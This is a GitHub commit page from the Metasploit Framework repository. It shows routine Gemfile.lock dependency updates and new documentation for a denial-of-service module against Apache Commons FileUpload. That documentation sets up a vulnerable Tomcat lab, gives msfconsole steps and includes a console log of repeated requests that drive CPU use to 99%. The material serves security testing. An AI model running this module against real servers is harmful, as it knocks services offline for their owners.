Skip to content

Commit 4149771

Browse files
author
Brent Cook
committed
Merge remote-tracking branch 'upstream/master' into land-7847-
2 parents 64e7f13 + f61314d commit 4149771

File tree

204 files changed

+2918
-1341
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

204 files changed

+2918
-1341
lines changed

‎Gemfile.lock

Lines changed: 17 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
PATH
22
remote: .
33
specs:
4-
metasploit-framework (4.13.15)
4+
metasploit-framework (4.13.16)
55
actionpack (~> 4.2.6)
66
activerecord (~> 4.2.6)
77
activesupport (~> 4.2.6)
@@ -14,7 +14,7 @@ PATH
1414
metasploit-concern
1515
metasploit-credential
1616
metasploit-model
17-
metasploit-payloads (= 1.2.6)
17+
metasploit-payloads (= 1.2.8)
1818
metasploit_data_models
1919
metasploit_payloads-mettle (= 0.1.6)
2020
msgpack
@@ -30,7 +30,7 @@ PATH
3030
pcaprub
3131
pg
3232
railties
33-
rb-readline-r7
33+
rb-readline
3434
recog
3535
redcarpet
3636
rex-arch (= 0.1.4)
@@ -103,7 +103,7 @@ GEM
103103
thor (~> 0.19)
104104
bcrypt (3.1.11)
105105
bit-struct (0.15.0)
106-
builder (3.2.2)
106+
builder (3.2.3)
107107
capybara (2.11.0)
108108
addressable
109109
mime-types (>= 1.16)
@@ -132,7 +132,7 @@ GEM
132132
nokogiri (~> 1.5)
133133
railties (>= 3, < 5.1)
134134
cucumber-wire (0.0.1)
135-
diff-lcs (1.2.5)
135+
diff-lcs (1.3)
136136
docile (1.1.5)
137137
erubis (2.7.0)
138138
factory_girl (4.8.0)
@@ -142,13 +142,13 @@ GEM
142142
railties (>= 3.0.0)
143143
faraday (0.11.0)
144144
multipart-post (>= 1.2, < 3)
145-
ffi (1.9.16)
145+
ffi (1.9.17)
146146
filesize (0.1.1)
147147
fivemat (1.3.2)
148148
gherkin (4.0.0)
149149
i18n (0.7.0)
150-
jsobfu (0.4.1)
151-
rkelly-remix (= 0.0.6)
150+
jsobfu (0.4.2)
151+
rkelly-remix
152152
json (1.8.6)
153153
loofah (2.0.3)
154154
nokogiri (>= 1.5.9)
@@ -169,7 +169,7 @@ GEM
169169
activemodel (~> 4.2.6)
170170
activesupport (~> 4.2.6)
171171
railties (~> 4.2.6)
172-
metasploit-payloads (1.2.6)
172+
metasploit-payloads (1.2.8)
173173
metasploit_data_models (2.0.13)
174174
activerecord (~> 4.2.6)
175175
activesupport (~> 4.2.6)
@@ -233,8 +233,8 @@ GEM
233233
rake (>= 0.8.7)
234234
thor (>= 0.18.1, < 2.0)
235235
rake (12.0.0)
236-
rb-readline-r7 (0.5.2.0)
237-
recog (2.1.3)
236+
rb-readline (0.5.3)
237+
recog (2.1.4)
238238
nokogiri
239239
redcarpet (3.4.0)
240240
rex-arch (0.1.4)
@@ -257,7 +257,7 @@ GEM
257257
rex-encoder
258258
rex-text
259259
rex-java (0.1.3)
260-
rex-mime (0.1.1)
260+
rex-mime (0.1.3)
261261
rex-text
262262
rex-nop (0.1.0)
263263
rex-arch
@@ -275,14 +275,14 @@ GEM
275275
rex-text
276276
rex-socket (0.1.3)
277277
rex-core
278-
rex-sslscan (0.1.1)
278+
rex-sslscan (0.1.2)
279279
rex-socket
280280
rex-text
281281
rex-struct2 (0.1.0)
282-
rex-text (0.2.10)
282+
rex-text (0.2.11)
283283
rex-zip (0.1.1)
284284
rex-text
285-
rkelly-remix (0.0.6)
285+
rkelly-remix (0.0.7)
286286
robots (0.10.1)
287287
rspec-core (3.5.4)
288288
rspec-support (~> 3.5.0)
@@ -323,10 +323,10 @@ GEM
323323
thread_safe (~> 0.1)
324324
tzinfo-data (1.2016.10)
325325
tzinfo (>= 1.0.0)
326-
windows_error (0.0.2)
326+
windows_error (0.1.0)
327327
xpath (2.0.0)
328328
nokogiri (~> 1.3)
329-
yard (0.9.7)
329+
yard (0.9.8)
330330

331331
PLATFORMS
332332
ruby

‎documentation/modules/auxiliary/dos/http/apache_commons_fileupload_dos.md

Lines changed: 96 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,96 @@
1+
## Vulnerable Application
2+
3+
1. Download and install the pre-req [Java7](http://www.oracle.com/technetwork/java/javase/downloads/jre7-downloads-1880261.html)
4+
2. Download and install [Tomcat7](http://apache.osuosl.org/tomcat/tomcat-7/v7.0.50/bin/apache-tomcat-7.0.50.exe)
5+
3. Download the example [multipart form war file](https://github.com/rapid7/metasploit-framework/files/712278/sample-multipart-form.zip)
6+
4. Unzip sample-multipart-form.zip && cd sample-multipart-form
7+
1. If Compiling: `mvn clean package`
8+
5. `cp target/sample-multipart-form.war $TOMCAT-7.0.50/webapps/`
9+
6. Start Tomcat (linux: `$TOMCAT-7.0.50/bin/startup.sh`)
10+
7. Check if the webapp is running: `http://localhost:8080/sample-multipart-form/multipartForm`
11+
12+
## Verification Steps
13+
14+
1. Install Tomcat, and the vulnerable form
15+
2. Start msfconsole
16+
3. Do: ```use auxiliary/dos/http/apache_commons_fileupload_dos```
17+
4. Do: ```set rhost <rhost>```
18+
5. Do: ```set TARGETURI <uri>```
19+
6. Do: ```run```
20+
7. Tomcat should be utilizing 99%+ of the CPU
21+
22+
## Options
23+
24+
**TARGETURI**
25+
26+
The URI where the multipart form is located. There is no real default and this will change based on the application.
27+
28+
## Scenarios
29+
30+
Scenario uses the sample multipart form provided in this documentation, against Tomcat 7.0.50 on a Windows XP system.
31+
32+
```
33+
msf exploit(handler) > use auxiliary/dos/http/apache_commons_fileupload_dos
34+
msf auxiliary(apache_commons_fileupload_dos) > set rhost 192.168.2.108
35+
rhost => 192.168.2.108
36+
msf auxiliary(apache_commons_fileupload_dos) > set rport 8087
37+
rport => 8087
38+
msf auxiliary(apache_commons_fileupload_dos) > set TARGETURI /sample-multipart-form/multipartForm
39+
TARGETURI => /sample-multipart-form/multipartForm
40+
msf auxiliary(apache_commons_fileupload_dos) > run
41+
42+
[*] Sending request 1 to 192.168.2.108:8087
43+
[*] Sending request 2 to 192.168.2.108:8087
44+
[*] Sending request 3 to 192.168.2.108:8087
45+
[*] Sending request 4 to 192.168.2.108:8087
46+
[*] Sending request 5 to 192.168.2.108:8087
47+
[*] Sending request 6 to 192.168.2.108:8087
48+
[*] Sending request 7 to 192.168.2.108:8087
49+
[*] Sending request 8 to 192.168.2.108:8087
50+
[*] Sending request 9 to 192.168.2.108:8087
51+
[*] Sending request 10 to 192.168.2.108:8087
52+
[*] Sending request 11 to 192.168.2.108:8087
53+
[*] Sending request 12 to 192.168.2.108:8087
54+
[*] Sending request 13 to 192.168.2.108:8087
55+
[*] Sending request 14 to 192.168.2.108:8087
56+
[*] Sending request 15 to 192.168.2.108:8087
57+
[*] Sending request 16 to 192.168.2.108:8087
58+
[*] Sending request 17 to 192.168.2.108:8087
59+
[*] Sending request 18 to 192.168.2.108:8087
60+
[*] Sending request 19 to 192.168.2.108:8087
61+
[*] Sending request 20 to 192.168.2.108:8087
62+
[*] Sending request 21 to 192.168.2.108:8087
63+
[*] Sending request 22 to 192.168.2.108:8087
64+
[*] Sending request 23 to 192.168.2.108:8087
65+
[*] Sending request 24 to 192.168.2.108:8087
66+
[*] Sending request 25 to 192.168.2.108:8087
67+
[*] Sending request 26 to 192.168.2.108:8087
68+
[*] Sending request 27 to 192.168.2.108:8087
69+
[*] Sending request 28 to 192.168.2.108:8087
70+
[*] Sending request 29 to 192.168.2.108:8087
71+
[*] Sending request 30 to 192.168.2.108:8087
72+
[*] Sending request 31 to 192.168.2.108:8087
73+
[*] Sending request 32 to 192.168.2.108:8087
74+
[*] Sending request 33 to 192.168.2.108:8087
75+
[*] Sending request 34 to 192.168.2.108:8087
76+
[*] Sending request 35 to 192.168.2.108:8087
77+
[*] Sending request 36 to 192.168.2.108:8087
78+
[*] Sending request 37 to 192.168.2.108:8087
79+
[*] Sending request 38 to 192.168.2.108:8087
80+
[*] Sending request 39 to 192.168.2.108:8087
81+
[*] Sending request 40 to 192.168.2.108:8087
82+
[*] Sending request 41 to 192.168.2.108:8087
83+
[*] Sending request 42 to 192.168.2.108:8087
84+
[*] Sending request 43 to 192.168.2.108:8087
85+
[*] Sending request 44 to 192.168.2.108:8087
86+
[*] Sending request 45 to 192.168.2.108:8087
87+
[*] Sending request 46 to 192.168.2.108:8087
88+
[*] Sending request 47 to 192.168.2.108:8087
89+
[*] Sending request 48 to 192.168.2.108:8087
90+
[*] Sending request 49 to 192.168.2.108:8087
91+
[*] Sending request 50 to 192.168.2.108:8087
92+
[*] Auxiliary module execution completed
93+
```
94+
95+
![tomcat7_dos](https://cloud.githubusercontent.com/assets/752491/22169486/71980e2e-df42-11e6-8353-4f1e260375ee.png)
96+

0 commit comments

Comments
 (0)